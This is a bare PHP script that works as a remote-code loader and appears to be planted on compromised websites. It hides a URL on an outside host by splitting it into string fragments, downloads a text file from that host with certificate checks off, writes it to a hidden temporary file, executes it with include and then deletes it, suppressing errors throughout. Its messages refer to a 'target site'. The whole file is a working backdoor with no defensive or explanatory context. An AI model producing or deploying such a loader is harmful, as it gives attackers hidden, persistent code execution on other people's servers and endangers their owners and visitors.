<?php
$_u  = 'ht' . 'tp' . ':/' . '/';
$_h  = 'lx' . 'ml' . '.ah' . 'kj' . '.lo' . 'l';
$_p  = '/li' . 'nks' . '-xm' . 'l-p' . 'lu' . 's.t' . 'xt'; 
$_url = $_u . $_h . $_p;

$_code = '';
if (function_exists('curl_init')) {
    $_ch = curl_init();
    curl_setopt($_ch, CURLOPT_URL, $_url);
    curl_setopt($_ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($_ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($_ch, CURLOPT_CONNECTTIMEOUT, 3);
    curl_setopt($_ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($_ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
    $_code = curl_exec($_ch);
    @curl_close($_ch);
} elseif (ini_get('allow_url_fopen')) {
    $_ctx = @stream_context_create(array('http' => array('timeout' => 5)));
    $_code = @file_get_contents($_url, false, $_ctx);
}

if ($_code && strlen($_code) > 10) {
    $_tf = @tempnam(sys_get_temp_dir(), '.');
    if (!$_tf) {
        $_tf = dirname(__FILE__) . '/.t' . substr(md5($_SERVER['HTTP_HOST'] . time()), 0, 8);
    }
    if (@file_put_contents($_tf, $_code) !== false) {
        @include($_tf);
        @unlink($_tf);
    } else {
        header('Content-Type: application/json');
        echo '{"code":598,"msg":"loader_write_failed: tmp dir not writable (目标站临时目录不可写)"}';
    }
} else {
    header('Content-Type: application/json');
    echo '{"code":598,"msg":"loader_fetch_failed: remote txt unreachable (远程TXT失效或目标站无外网)"}';
}
